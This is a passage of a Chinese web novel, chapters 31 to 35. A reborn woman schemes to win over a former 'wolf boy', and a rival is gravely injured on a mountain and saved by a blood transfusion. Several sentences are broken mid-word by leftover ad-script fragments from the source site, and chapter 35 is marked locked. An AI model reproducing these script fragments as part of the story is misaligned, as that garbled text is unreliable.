徐宝珍感到很头疼,除了不习惯高强度的劳动力,还有就是想着要怎么接近刘白。 若是重生的时间点再往前拨就好了,她一定会在徐知画一家收养刘白之前,先将他抢过来。 上辈子,徐宝珍曾远远看过,刘白一身西装革履,举手投足间尽显矜贵,俨然是一个地位显赫的成功人士,身旁的达官贵人对他毕恭毕敬,态度谄媚。 而徐知画挽着刘白的胳膊,打扮得跟个妖艳贱货那般穿金戴银,作为他的妻子享尽荣耀。 虽然很不想被徐知画看到自己落魄狼狈的惨状,但为了荣华富贵能抱大腿,徐宝珍咬咬牙上前相认。 好歹姐妹一场,没想到徐知画半点不顾及亲情,认出她后,别说手指缝里漏一点资源关照生活,还被狠狠羞辱了一番,让人将她丢在人来人往的街道上,受尽白眼嘲笑。 上辈子,想到徐知画的风光,徐宝珍死都不瞑目。 这辈子,想起是自己放出他们有私情的话,徐宝珍悔不当初啊。 【我不会就此推进两人的感情进度了吧?】 她叹气。 奇怪的是,下乡以来,所见很多事,都和上辈子有很大的出入。 上辈子一开始,发现狼孩后,他并没有在徐知画的家里住下,而是住进大队长的家,后来伤好,他自己搬去那间废弃的屋子住 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 狼孩无亲无戚,无依无靠,刚开始吃的是百家饭,后来许是见徐知画是个药罐子,没有人上门提亲,怕闺女变成老姑婆,蔡淑芬招他为婿,那时取的名字并不是叫刘白,叫徐根。 但两人成了夫妻,徐知画瞧不上他,日常多是辱骂暴打,与他的关系是水火不相容,更不用说像现在这般教他如何当人、读书写字。 那时大队的人日常都爱笑这两夫妻。 那时徐宝珍觉得有了对比,好像徐知画更惨一点,她嫁的是一个行为举止都是狼的神经病。 好歹陈豫周还是个正常人呢。 每每看到他们也过得水深火热,徐宝珍心理就平衡了,甚至恶毒地希望他们过得更惨点。 在徐宝珍和陈豫周离开光荣大队之前,狼孩都是一幅畏畏缩缩上不了台面的模样,还以为一辈子就这样烂在泥里了呢。 哪成想狼孩摇身一变,改名换姓,昔日连话都说不清的穷小子变成了高不可攀的大人物,而徐知画妻凭夫贵,也过上了高人一等的贵妇生活。 徐宝珍想着—— 既然上辈子徐知画对狼孩态度这么恶劣,他都能容忍,有钱有势后没有换糟糠之妻,那现在趁两人还没有结婚,如果她对他比徐知画对他还好,是不是到时他发达后,身旁那个共富贵的人就是她? 想想就激动。 徐宝珍向来是个敢想敢做的。 而且有了前车之鉴,这一次可不能使霸王硬上弓之计、挟肚上位,一定要让刘白心甘情愿娶她。 一步步来吧。 为此,徐宝珍摸清刘白每日的活动路线后,浓妆艳抹,打扮得花枝招展,在一个无人的路段拦住了他。 徐宝珍凹了一个前凸后翘极显女人味的动作,眨巴着眼放电,用娇滴滴的嗓音说:“刘白,之前请你帮我干活,一直忘了感谢,这是我的赔礼,希望以后能与你建立友谊关系。” 说着将一个装有米花糖的篮子递过去。 刘白忍不住咽了咽口水,艰难地将视线从篮子里移开,怒瞪着她,丢下“坏女人!”三个字,就绕过她跑了。 看他刚才的神情,感情她还比不上这米花糖?真是抛媚眼给瞎子看! “不解风情的臭男人!”徐宝珍跺了跺脚。 不过转念一想,她打扮得这么漂亮,他这反应恰恰能说明还没动凡心不知美丑,对徐知画肯定也无感。 徐宝珍很快振作起来,筹备第二次计划—— 想以帮忙干活的名义去接近,到时他若是流汗或者干累了,就上前擦擦汗、捏捏肩,这个手段她运用得炉火纯青,相信一定能让两人的关系更进一步。 谁知刚靠近就被推飞,徐宝珍都愣了愣。 “你踩扁苗了!坏女人!”刘白心疼地捡起菜苗,见救不回来了,生气地挥舞着锄头作势要打她的样子,吓得徐宝珍跑得飞快。 第二计,败。 “没关系,下次多注意。”徐宝珍为自己打气,“刘白是真的潜力股,坚持就是胜利!” 她在脑海中幻想着数钱数到手抽筋的场景,就感觉全身充满了力量。 想象刘白是座大山,这次她一定要捷足先登! 32. 病秧子X狼少年 种种事迹表明,徐知画也是重生的,且这辈子还想套牢刘白。 凭什么她能享受两辈子荣华富贵,徐宝珍深深地厌恨着徐知画,上辈子她早知道陈豫周是个虚有其表的人,但凡提醒一句,自己怎么会跳进这个火坑,一步错步步错。 论才能样貌,徐宝珍自认为不比徐知画差,她有擅长的技能,自己也有拿得出手的本领。 机缘就那么多,自己不去争不去抢,幸福的只会是别人。 徐宝珍就像是躲在暗处的蛇,伺机而动。 又是一个晴天,骄阳似火,田间地头里热浪滚滚,连风吹过来都带着热气,锄地的人们汗流浃背,晒得后背发疼,喉咙发干,众人沉默且麻木地重复着手中的动作,只想赶紧完工歇歇。 徐宝珍干累了,抬眸望了望不远处的刘白,见他忽然撩起衣服下摆擦汗,露出精壮的腹肌,一看就是个有力的。 视线再移到他的脸上,睫毛卷翘,眼睛深邃,鼻梁高挺,薄唇微抿,是棱角分明的脸型,如同刀削般清俊,以往怎么没发现原来他长得这般俊? 若是皮肤再白嫩些、着装再体面些,指不定比陈豫周更受女生青睐。 “宝珍,听说今天你煮了绿豆糖水,给我来一碗。”陈豫周走过来,不客气地说。 “没有你的份,想吃自己煮。”徐宝珍没好气地翻了个白眼,“离我远点,看到你就烦!” “你,你,你再这样,小心我以后都不理你!”陈豫周被这番话气得脸色铁青,放话道。 最近不知道徐宝珍吃错了什么药,自上次下药没得逞后,对他的态度就直线下降,不帮他干活,做吃的也不会再分给他。 习惯了她的讨好与付出,突然摆出一副绝交的姿态,这落差之大让陈豫周百般不适应,觉得哪怕做不成夫妻,也可以当普通朋友来相处啊。 既是朋友,帮忙干点活、吃她点东西也不过分吧。 她何必如此咄咄逼人、斤斤计较。 徐宝珍是个有心计的人,肯定是想另辟蹊径引起他的关注,欲擒故纵这招倒是运用得很熟练。 或许坚持不了多久,她又会屁颠屁颠地凑上来。 不过她自此不再觊觎他远离了去也好,耳边清净,也不用再想怎么友好且不失体面地拒绝她的爱慕之心。 思绪翻飞,陈豫周不再纠结。 然而当看到徐宝珍将多准备的绿豆糖水给刘白喝时,陈豫周心里还是膈应了下,这是想让他争风吃醋? 哼!他才不上当。 陈豫周干脆转过头,眼不见为净。 刘白看着端在面前的绿豆糖水,一脸疑惑:【这坏女人又想干什么?】 “坏女人,无事献殷勤,非奸即盗!”刘白哼了句,拔腿就跑到蔡淑芬那边。 那唯恐避之不及的模样,好似她是洪水猛兽,慢一点就会将他吃掉一样。 “噗嗤——” “笑什么笑?!”徐宝珍怒瞪着陈豫周,“你这个伪君子、真小人!以后我的东西,就是给狗吃,都不会给你!” “不给就不给,相识一场,我只是想提醒你,刘白不是一个值得托付的人,你没必要为了气我故意接近他。”陈豫周端着一副【为你好】的模样说教道。 “呸!在我看来,你连刘白的一根头发都比不上!”徐宝珍说着也走了。 “女人说变就变,真是莫名其妙。”陈豫周挠了挠头,继续锄地。 蔡淑芬也注意到这动静,见徐宝珍对刘白献殷勤,虽不知看中他什么,但想着若是能将他和闺女传出有私情的谣言击破,那就是极好的。 由此也生出几分撮合两人的心思来。 “人家给你吃的,你就大大方方拿着,不吃白不吃。”蔡淑芬跟刘白说,“刚刚你很没礼貌啊,人家小姑娘跟你好好说话,你摆个臭脸,会让人说没教养,下次可不许这样了。” “徐知画说不能乱吃别人的东西,无事献殷勤,非奸即盗。”刘白一脸坚定,“她是坏女人,不吃她的东西。” 说是这个理,蔡淑芬一噎,暗道闺女教得挺好,不过还是板起脸,说:“你不要一口一个坏女人,多伤人家姑娘的心,你想不想和她做朋友?做了朋友的话,就可以分享东西吃了。” 见刘白一脸深沉地思考着,蔡淑芬循循善诱道:“多个朋友多条路,你帮我,我帮你,要学会互相帮助,下次她给你吃的,你就帮她干干活,这样你好我好就非常好。” 刘白还是摇摇头:“徐知画讨厌她,我也讨厌她,不要和她当朋友。” 他真是一根筋,认死理,蔡淑芬明白自己百句,不如闺女一句,忧愁地叹了口气,看他这样子,是不是对闺女有意思啊? 趁苗头还没冒,要赶紧掐断才是。 只是该怎么做,还需再计。 蔡淑芬愁啊。 在她的心里,徐知画长得好有能力,将来就是嫁个城里人都使的,趁这几年,可要好好挑挑,女婿要才貌双全、家风优良、家境殷实…… 条条框框下来,刘白是没有一条符合她心目中的女婿,留在家里迟早是个祸害,还是要打发出去为好。 * “好消息!好消息!明天晚上晒谷场要放电影!有电影看喽!” 傍晚时分,狗岁从外面一回来就嚷嚷着,屋里屋外都充满了他欢快的声音。 “那明晚你可要去早点占好位置。”徐康荣说。 “没问题,包在我身上。” “看电影!看电影!” 狗岁和徐安荣手拉着手转起圈来,极度亢奋。 正在背诵的刘白被扰了心神,一脸迷茫地看着两人,还不明白【看电影】是什么,值得他们这么开心。 “你今天能把九九乘法表背出来,明晚才能去看电影。”徐知画可不想因此中断学习计划。 他要想痛快玩,在学习的时候就要更专注地去记住所学习过的知识。 看那两人的反应,【看电影】肯定是很好玩的东西,刘白被勾起了好奇心,在听到徐知画的要求后,也只好更卖力地去记。 “安荣哥、狗岁,过来一下,上次让你们写的作业,我改好了,有错的,每个抄写两行。”徐知画叫住了转圈圈的两人。 “啊……姑姑,能不能下次再抄?”狗岁瘪着嘴,心情立刻由晴转阴,眨巴着可怜的眼睛企图唤醒她慈爱之心。 “不行,下次有下次的作业。”徐知画面对他的卖萌,没有分毫心软。 “龟妹啊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,我抄一行行不?两行多了,写得手好累。”徐安荣讨价还价道。 徐知画:“再说,那就不止两行了,三行、四行、五行……” “行行行,两行就两行。”徐安荣听着不断叠加的数字,心惊肉跳,赶紧打断道。 …… 与徐知画一家的平静不同,当得知有电影看,徐宝珍的心里就像浪潮翻腾—— 上辈子看完电影后的第二天,徐知画上山遇见了野猪,被伤得头破血流,刚巧是刘白救了她,及时送医,后来才救回一条命。 如果这次没有刘白在旁的话,那她是不是必死无疑? 想到有这个可能,徐宝珍抑制不住心中的激动,哈哈大笑起来,仿佛徐知画的机缘在不久的将来都会落在她的手里。 时间老人拖着缓慢的步伐,绕着时钟又走了一圈,夕阳西下,火烧云绚烂了整片天空。 在全大队人的期待中,“叮铃——叮铃——”的自行车铃响起,两个放映员的身影被映衬得通红通红,身后的孩子们是一串长长的尾巴。 他们尖叫着、欢笑着、奔跑着来表达对放映员们到来的热烈欢迎。 时间尚早,但有不少吃过晚饭的人早早将凳子搬来晒谷场,翘首以盼,聊聊天、说说笑,这是难得的惬意时光。 眼见火烧云隐去,天色越来越暗,徐天瑞和蔡淑芬等人也准备出发了,然而刘白的九九乘法表背来背去背不下,越着急,背错的越多。 徐家荣劝说:“难得看电影,背不了就下次背,错过这次,下次可不知道什么时候有电影看了。” 徐知画摇摇头,坚持着原则:“你们先去吧,等他背完了,我们再过去。” 见她一脸执拗,徐家荣给刘白一个爱莫能助的眼神,推着徐康荣走了。 这下屋子里只剩两个人,在昏黄的煤油灯中,投射到墙壁上的影子看似亲密无间,实则现在气氛有点剑拔弩张了。 大家都出去玩了,偏他还要被徐知画管制着,背错一点就要从头来过,刘白觉得憋屈又生气。 他想去看电影!不想再背那讨厌的九九乘法表! 在又一次背错后,刘白愤怒地嚎叫起来,双手挥舞乱打着空气,像个无能狂怒的暴徒。 徐知画环抱着双手,面无表情,静静地看着他发疯发癫。 真人打不得,刘白趁徐知画不注意,一拳一拳对着她的影子出气,嘴上没说什么,心里在痛骂。 “你没背出来,我不会让你去看电影的。”徐知画冷着一张脸,没有情面可讲。 进步的过程总是充满痛苦。 关于这一点,她深有体会。 “哼!”刘白发泄一通,脑子清醒了许多,深吸口气平复心绪,重新开口—— “一一得一,一二得二……” 低沉的嗓音再次响起。 “……□□七十二,九九八十一。” 终于,这一次顺利背出来了,成功通关! “走走走!快快快!”刘白一背完就拉起徐知画的手往晒谷场里赶。 “慢点!慢点!”徐知画眼疾手快提起煤油灯,在他飞冲出门前,提醒道,“要锁门!” 刘白转回身迅速锁好门,再次拉着她狂奔。 33. 病秧子X狼少年 走得太快,路没看清,徐知画在一个坑洼处差点摔倒,煤油灯掉到地上,灭了。 今晚的月光不甚明亮,昏暗得像笼罩了一层薄纱,周遭又暗又静,很容易让人想起阿飘。 看着道路两旁郁郁葱葱的树木,徐知画想起有一个坟墓藏在里面,平时经过这条路段时,她都是快步走的。 影影绰绰的黑色枝叶随风摇摆着,飒飒作响,仿佛在召唤着什么。 徐知画想打道回府了,但刘白这会儿心思全部被好玩的看电影所占据,哪里愿意再回去学那枯燥乏味的知识。 见她慢手慢脚,趑趄不前,娇气又麻烦,刘白在心里抱怨着,熟练地蹲下:“背你走。” “好吧,既然你这么要求,那我勉为其难答应吧。”见他如此识相,徐知画满意地趴下,不知道他怎么长的,全身硬邦邦,厚实的肩膀很有安全感。 若是有什么魑魅魍魉,第一个遭殃的是他,不怕不怕。 刘白身形轻盈,快如魅影,视若白天般在弯弯曲曲的道路上疾行。 “慢点!慢点!”徐知画被颠得难受,用力扯了扯刘白的耳朵。 “嘶——” 刘白吃痛地皱了皱眉,有那么一刻,真的很想把她丢开,呼吸起伏几番,到底将那股不耐烦的躁动压下,速度慢下来。 “祝安,我会对你好的,跟我走好不好?” 一道男声带着恳求突然从前方传来。 隐约能看到一高一矮的一男一女在拉扯着。 【发现有人想撬二哥的墙角,怎么办?】 徐知画愣在当场,示意刘白不要发出声音,先不要动。 “我从小就喜欢你,若不是在部队赶不回来,娶你的人应该是我。我知道这桩婚事是你继母逼嫁,徐康荣对你也不好,你们在一起并不幸福。而且他是个残疾人,你继续和他过下去,我舍不得你那么操劳,蹉跎半生……” “啪!” 响亮的一巴掌乍响。 祝安挣脱开他的束缚,拉开距离,手指快速比划着什么,拒绝的意思很明显。 男人看着她离去的方向,捂着被扇的脸,坚毅地喃喃道:“祝安,我不会放弃的!” 没一会儿,男人也离开了。 “走吧。”徐知画拍了拍刘白的肩膀,思绪万千。 的确,徐康荣对待家人都很好,但对祝安却颐指气使,稍有不顺心就冲她大呼小叫、嫌这嫌那,好似妻子就是他的出气筒,并不是一个值得托付的好丈夫。 祝安是个好姑娘,不应该被辜负,徐知画也真心希望她的日子能过得舒心顺遂。 若那个男人真是真心实意待她,离婚再嫁也未尝不可。 而且她有一门刺绣制衣的手艺,又会炮制中药,等将来时局好一些,就算不依附男人,也有能力养活自己,没必要在一棵树上吊死。 徐知画打定主意,若祝安想离婚的话,会助她一臂之力。 * 两人来到晒谷场,所见密密麻麻都是人头,或坐或站,还有挂在树上、爬上草垛顶的…… 大家全神贯注,看得津津有味。 刘白也一下子被前方中央那块大幕布吸引去了目光,里面怎么会有人呢?场景还会变来变去,好奇怪。 第一次看到这么新奇的东西,他激动难抑,直盯着,都舍不得眨眼了。 不知道家人们在哪个旮旯,徐知画和刘白在后尾随便找了个位置坐下。 今晚所看的电影名叫《金光大道》,讲的是土改后,在男主高大泉怎么引领周围农民走社会主义道路。 整部影片年代感气息浓重,生活艰苦,着装朴素,情节一环扣一环,配乐磅礴壮阔,旁边的人看着看着,还讨论哪个是好人,哪个是坏人。 观众们显然很有代入感。 只见高大泉站上台阶铿锵有力发言道:“乡亲们,咱们芳草地这两年的风风雨雨,给大伙擦亮了眼睛,不搞户主合作,就是死路一条啊,咱们贫下中农,要按照毛主席的指示,组织起来,奔社会主义,这才是一条金光大道啊!”① “好!说得好!”晒谷场上同时爆发出一阵热烈的掌声和喝彩声。 影片随着劈里啪啦的鞭炮声,天门区第一个农业生产合作社正式成立,有儿童骑着牛来祝贺,敲锣又打鼓,人人笑开颜。 上集完。 刘白感觉来到屁股都还没坐热,就这么结束了? 他还没看够呢! “都怪你!”刘白埋怨地看着徐知画,要是来早点,就能看多一点了。 “要怪就怪你自己,谁叫你没背出来。”徐知画才不惯着他,冷哼道,“之前你可没这么笨,也不知道还要多久才能将你培养成才。” 她也想他快点搞出什么时光穿梭机,立马回到2024年。 他不高兴,她还不高兴呢! 刘白瞪着眼:“就怪你。” 徐知画臭着脸:“怪你。” “怪你。” “怪你。” “……” “……” 两人谁都不服谁,你说一句,我回一句,就这样“怪你怪你”随着退场的人潮回到了家。 家里其他人早就回到了,在院子里乘凉喝水,意犹未尽地讨论着剧情,突然,只见蔡淑芬站起来,哼歌表演着:“……高高的天,宽广的地,一颗红心两只手,组织起来力量大无比……”② 剩余的人则拍掌附和着,其乐融融。 徐知画和刘白一前一后进来,各自找了一个远离对方的位置坐下,明眼人一看就不对劲。 “怎么了?你俩吵架了?”蔡淑芬心想闹掰好啊,不过表面还是要装装,将那份欣喜压了压。 “不想理他。”徐知画没好气道。 “姑姑,他怎么惹你生气,跟我说,我帮你出气。”狗岁小大人似的拍着胸脯。 “他很久才背出九九乘法表,我们去到晒谷场时,没看几分钟就散场了,他竟然怪我!我还不是为了他学习好。”徐知画一记眼刀飞过去刘白那边。 “怪你!”刘白立刻瞪回去。 狗岁一听,有点无语,要是谁耽误他看电影,他也怪谁,不过他可是立志要当一个好侄子,自然是和徐知画站在同一条战线,也叉腰冲着刘白吼:“怪你!” 一轮“怪你!”之战再次爆发。 蔡淑芬等人听得耳朵嗡嗡嗡,对徐知画说:“他不领情,下次不教他了。” “不行!”徐知画不假思索道,“还是要教的。” “行行行,你别气着自己就行。”见劝不动,蔡淑芬催她去洗澡早点睡。 等徐知画进了冲凉房,蔡淑芬对着刘白警告道:“你要想在这住,以后都要乖乖听我闺女的话,不然就滚蛋,别以为你是什么金疙瘩,人人都喜欢你。” 听到这番话,无处可去的刘白感到了屈辱。 但人在屋檐下,不得不低头。 * “喔~喔~喔——” 公鸡的啼叫再次唤醒了早晨。 今天是一个寻常的星期日,徐知画打算去翠谷山寻找能制作颜料的矿石。 本来之前和刘白、祝安约好一起上山的,但走出房门,刘白显然还在为昨晚的事情生气,一见她又是翻白眼又是冷哼。 徐知画倔劲也上来了,不理睬就不理睬,她才不要主动破冰。 于是洗漱完,又吃完早餐,做好防 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晒,准备好工具,就要出发时,从头到尾都没有跟刘白说过一句话。 刘白见徐知画不似以往那般要求这要求那,欲言又止,想靠近的脚步被那冷冰冰的态度刺得往后退,别扭地倚靠在门边,仰头望着蓝天故作深沉,想着若是她主动喊一句,那他就陪她上山。 然而徐知画当没看见他一样,背着篓,挽着祝安的手开开心心出门了,留下刘白在原地,郁闷至极。 她不使唤自己,应该感到高兴才是,刘白也不明白在不高兴什么。 还想着如果看在他闹别扭的份上,让徐知画不要布置那么多作业,就像狗岁的作业那样简单就好了。 心里好像有两个小人,一个说不理她,一个说跟着去。 小人们在打架,最后是【跟着去】胜出。 刘白迈开脚步,往翠谷山的方向追去,张二乔不知从哪儿蹦出来,拿着一包糖果在面前晃了晃,说:“刘白,请你帮个忙行不行?” “什么忙?”刘白问。 “想让你帮忙挑水到知青办,装满水缸,这包糖就是你的。”张二乔说。 虽然不知道徐宝珍为什么会看上刘白,想以这个方式接近他,但张二乔很乐意牵线当红娘。 刘白心动了,这算是徐知画曾经说过的“用劳动换取报酬”吧。 “行。”刘白答应了。 挑了一担又一担水,这好像是个无底缸一般,怎么都装不满。 刘白挑着挑着,怀疑人生了,怎么缸里的水,还越装越少? 这自然是徐宝珍和张二乔搞得鬼,他挑一桶,她们就舀水倒掉一桶。 “刘白,累了歇歇,喝杯水吧,我放了糖的。”徐宝珍叫住刘白道。 “不喝。”他拿的是张二乔的糖,并不想和徐宝珍有什么牵扯。 刘白总觉得她就徐宝珍就像是一条毒蛇,哪怕是笑着,但还是让人感到阴冷,他不喜欢她身上散发出来的气息。 在又一次挑了担水回到知青办,却看到两人把干净的水倒进沟里。 张二乔笑道:“你说他是不是傻,挑这么多桶都没满缸,就没发现一点端倪?” “搞快点,可不能被他发现了。”徐宝珍忧愁道,“他现在都不肯与我多交流两句,你说有什么办法可以增进我们的情谊?” 刘白明白过来这又是一场针对他的恶作剧。 他将水桶重重地摔在地上,撂挑子不干了,走向张二乔,伸手道:“糖。” 眼见他浑身戾气暴涨,仿佛下一秒就要打人,张二乔头皮发麻,赶紧回屋拿糖给他。 徐宝珍还想挽回点好感,解释道:“我也是想多和你多相处相处才这样做,谁叫你总不理我。” “为了赔罪,我现在请你去国营饭店吃饭怎么样?”徐宝珍算着时间,还算再拖延一下。 徐知画应该已经遭遇不测了吧,哪怕有祝安陪着,可两个手无缚鸡之力的弱女子,怎么能躲得过野猪的攻击。 【最好都死光光吧。】 徐宝珍恶毒地想着。 “离我远点!”刘白一瞪,拿着糖气冲冲地走了。 看着手中的糖果,刘白想着先分给徐知画一颗,这代表他想和她恢复以前的样子,不想不说话。 如果她还是不开心,那就给两颗、三颗、四颗…… 算了,全部都给她吧。 刘白打定主意。 回到家中,正在晾晒着中药的徐康荣问道:“你不是和龟妹一起去翠谷山了吗?她人呢?” “我没去。”刘白心虚地低下头。 “不好了!不好了!瘸腿康,快来看看,你妹子受伤了!救命!” 门外骤然传来一道呼救声。 34. 病秧子X狼少年 当看到徐知画被血糊了一脸,紧闭着双眼像个毫无生机的破布娃娃一般被人抱着进来,刘白面色瞬间变得煞白,一股剧痛从心脏向全身蔓延,窒息感铺天盖地涌来,拿着糖果的手控制不住颤抖着。 他看着徐知画嘴里不断冒出鲜血,脑袋被刺针扎成了刺猬;看着以往那个对他恶言恶语泼辣至极的蔡淑芬哭天抢地好不凄惨; 看着平时温柔爱笑的祝安情绪崩溃、泪流满面地用力锤着自己…… 看着昔日总板着一张脸的徐天瑞眼眶红红,拿着一只水烟筒吸了一口又一口,那些烦恼悲痛好似都藏在了缭绕升腾的烟雾里,呛得眼泪连连; 看着徐家荣、徐安荣、狗岁,收起了平日的嬉皮笑脸,仇恨地挥拳砸过来,质问着他今天为什么没有跟过去…… 还有看戏八卦的、似真似假关心的…… 一张张脸变幻扭曲着,所见的一切被放大、拉长,一幕幕清晰又虚幻地映入眼帘;那一张张张张合合的嘴,太吵了,他好像什么都能听清,又好像什么都听不见。 刘白被一拳一拳逼得步步后退,惶然地跌坐在地上,任由拳头如雨点般密集落在身上,徐知画也像这般痛吗?还是更痛呢? “血暂时止住了,要赶快送到卫生院去。她伤得过重,流血过多,危险期还没渡过。”徐康荣擦了擦汗,心还紧绷着。 “时间就是生命,大队长,能不能借用一下大队的拖拉机?”徐康荣问。 “这不赶巧了,拖拉机今早去镇上拉货还没回。”大队长眉头紧锁,提议道,“牛车行不?慢点是慢点,但胜在平稳,比脚力快。” “我开了辆卡车停在村头,可以送她去卫生院。” 此话一出,众人的目光齐齐望过去。 是一个陌生男人,他穿着军绿色短袖和黑色长裤,五官立体而端正,身材颀长,腰背挺直,浑身透着一股凛然之气。 刚刚是他抱着徐知画进来,胸前衣服沾染上了一大片血迹。 徐宝珍心里咯噔一跳,前世这一天她去镇上买东西了,好像没听说有这个人出现啊,那时徐知画是用牛车拉去卫生院的。 看太阳高挂在正头顶,人的影子缩成小小的一团被踩在地上,徐知画救助的时间相较上辈子耽误了不少,她的血又流这么多,肯定活不久了吧。 徐宝珍想着,默念着“南无阿弥陀佛”,她只是顺势而为,虽有小小私心,但请佛祖不要怪罪,多多保佑她此生顺遂。 “我叫付山海,是光明大队的,也是一名司机,本来想找徐康荣同志治疗牙疼问题,没想到在路上遇到她们。” “多谢付同志。”徐天瑞放下水烟筒,稳了稳心神,赶紧招呼人一起帮忙把徐知画抬到卡车上去。 蔡淑芬见状也收起眼泪强装镇定,回屋拿钱拿生活用品。 好在卡车够大,能装得下全家人和杂七杂八的东西。 一路疾驰,大家忧心如焚,恨不得立刻闪现到卫生院。 徐知画的脑袋左侧被砸了一个窟窿,怕被颠簸到伤口再次破裂,蔡淑芬用棉被子裹住她抱着,看着她没有一点血色的嘴唇,眼泪又忍不住掉下来了。 祝安内疚的要死,比划着手描述事情的经过—— 两人去到翠谷山,祝安找草药、徐知画找矿石,各有收获,后来祝安在一块峭壁发现了一簇铁皮石斛,正摘得高兴,没想到脚下的石块突然裂开,徐知画见此冲过来想拉住她,可惜没拉住,齐齐滚下去。 紧急关头,徐知画抱住她,脑袋却撞到了一块大石头上,祝安简单地用草药做了处理,就马不停蹄扛着她下山,之后在路上遇到了付山海。 “呵,龟妹受了这么重的伤,你却安然无事,你最好祈祷她平安无事,不然我要和你离婚。”徐康荣眼神似刀般剜了过去。 祝安瑟瑟发抖着摇头,眼泪像珍珠般滚落脸颊,恨不得受伤的是自己。 “说什么呢!发生这种事,谁都不想。”蔡淑芬虽说心疼闺女,也心疼儿媳妇,手心手背都是肉。 而刘白没人心疼,则承受了众人的大部分怒火,被骂得头低低,心情沉重如铅。 * 来到卫生院,徐知画立马被送进抢救室,家人们都在门外默默祈祷着。 不知过了多久,一个护士走出来,说:“病人失血过多,需要输血,但血库里没那么多Rh阴性血,你们有没有认识的人是这个血型的?赶紧叫过来。” “血还分阴的阳的吗?我有血,抽我的吧。”蔡淑芬焦急道,“去哪里抽血?” 剩余的徐家人也纷纷涌上来表示自己比较强壮,血比较多,可以抽自己的血。 徐康荣:“你们先冷静一下。” 没人冷静。 “唉呀!”他们一起开口,吵得好似有几百只鸭子再叫,护士大声吼了一句:“先听我说!” 大家一下子被喝住,停了动作,噤声看他。 护士普及道:“直系亲属之间是不可以直接输血的,这样可能会引起免疫反应,不利于健康,你们还是赶紧找人吧。” 祝安听此,站出来,比划着:【我是她嫂子,可以输血。】 徐康荣指着祝安和刘白说:“他们和患者没有血缘关系,可以去测一下血型。” “还有我,我也可以抽。”付山海说。 “你们最好再多叫一些人来,Rh阴性血是熊猫血,比较少见。”护士说完看向三人,“你们跟我来。” “人怎么会有熊猫血,我就没听过,不都是红色的血,怎么就不能用呢?”蔡淑芬疑惑着,不安地搓着双手,叹气道,“这离大队那么远,一时半会去哪儿找人?” “我去外面问问有没有人肯献血。”徐家荣说,“妈,给我点钱,出来得急,我没带。” “给给给,赶紧去。”蔡淑芬掏出几张钱票给他。 “我们也去。”徐安荣和狗岁说。 “出门在外,你们多注意小心点。”徐天瑞嘱咐道。 “知道了。” 三人走后,徐康荣看着二老走过来走过去,晃得头疼,烦躁道:“爸,妈,你们坐下来等吧,保存好体力。” “对对对,这时候可不能倒下了。”蔡淑芬吩咐道,“孩子他爸,你去买点吃的回来,清淡点的,要是龟妹醒了,也不至于饿肚子。” * 抽血结果出来了,刘白的血型符合。 “谢天谢地,菩萨保佑!”蔡淑芬双手合十拜了拜,看着血慢慢从刘白的手臂上抽出,小声叨叨着,“多抽点,抽多点,抽多 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 点。” 后见医生停了动作,不解道:“怎么不抽了?” “再抽,他命就没了。”医生面无表情地说着医嘱,“回去后多注意休息,吃猪肝、红枣、黑豆等都可以补充营养,后面需要的话还要再抽。” “行。”蔡淑芬看着刘白神情恹恹,脸色苍白得像要去了,才舍得丢给他两个包子,“吃吧。” 后面付山海跑前跑后,找来了两个也是熊猫血的人,才够这次手术的用血量。 他一个萍水相逢的人能做到这个地步,蔡淑芬是千恩万谢。 付山海说着客套话,视线扫过祝安,皱眉道:“你脚是不是也受伤了。” 祝安连连摇头:【没有。】 徐康荣不待她反应,弯腰掀起其裤脚,只见脚踝一片乌青,肿成了馒头,她疼得直冒冷汗,还在那嘴硬。 徐康荣绷着脸,愠怒中带着冷讽:“祝安,你真是好样的,肿成这样还说没事,谁见了不得夸你一句忍者女侠?痛死你算了。” “医生,赶紧帮她看看吧。”付山海不满地瞪了徐康荣一眼,“你当人家丈夫的,不关心一句就算了,怎么能说风凉话。” “她是我妻子,我爱怎么说就怎么说。”徐康荣表情欠欠地说。 “你不配为人夫!” “请保持安静!要吵架的请到外面去。”医生提醒完,转身去拿药给祝安治疗。 蔡淑芬忍不住多看了几眼付山海,暗想他是不是太过紧张了? “付同志,今天来卫生院真是麻烦你了,不敢再耽误你的事情,治牙疼的话,我这儿子倒是有一手,你不嫌弃的话,先给他看看。”蔡淑芬小声道。 付山海:他牙倒是好好的,这只不过是他乱扯的借口罢了。 不过为了打消他们的疑虑,还是配合地蹲下身长大嘴巴给他看。 “问题有点严重,估计要好几个疗程才能治好。”徐康荣说。 付山海:…… 徐康荣的表情很是严肃,不像在说笑。 付山海眼神满是怀疑:“你说真的?” “不信就另请高明。”徐康荣哼了哼,“爱看不看。” 付山海连忙道:“看看看。” 听着他们对话,在彼此的眼神拉锯中,一场无硝烟的战争正如火如荼地进行着,祝安紧张不安的情绪如同波涛般翻涌,整个人像是一根紧绷的弦。 “请让让。”医生从两个男人之间穿过,“战争”停止,空气重新流动。 当再一次听到付山海说晚点会送他们回家时,蔡淑芬直夸道:“你真是个热心肠的好同志!” 徐康荣冷嗤着没再说话。 祝安犹豫着,要不要告诉徐家人,她其实和付山海认识。 但是想到付山海对自己的心思,怕引起不必要的麻烦,想要比划的手指又放下来。 祝安和付山海算是青梅竹马一起长大,他家是迁徙过来的外来户,小时候大队的孩子都爱欺负他,祝安那时正义感爆棚,总是挡在前面保护他,后来忘记因为是什么事闹掰了,两人见面也当不相识。 直到他去参军的前一晚,付山海悄悄找过来,说等功成名就,就回来娶她。 祝安只觉莫名其妙,她不喜欢他,也没想着要等他。 35. [锁] [此章节已锁] “手术过程顺利,病人还需要再观察一段时间,家属去办理住院手续吧。”抢救室的门再次打开,医生走出来道。 在难熬的等待中,终于得到想要的结果,大家悬在心头的那口气终于放松下来。 经过商量,蔡淑芬和徐安荣留下守夜,明天徐家荣再来换班。 徐康荣望着蹲在病床旁拽都拽不动刘白,问道:“刘白,你走不走?” 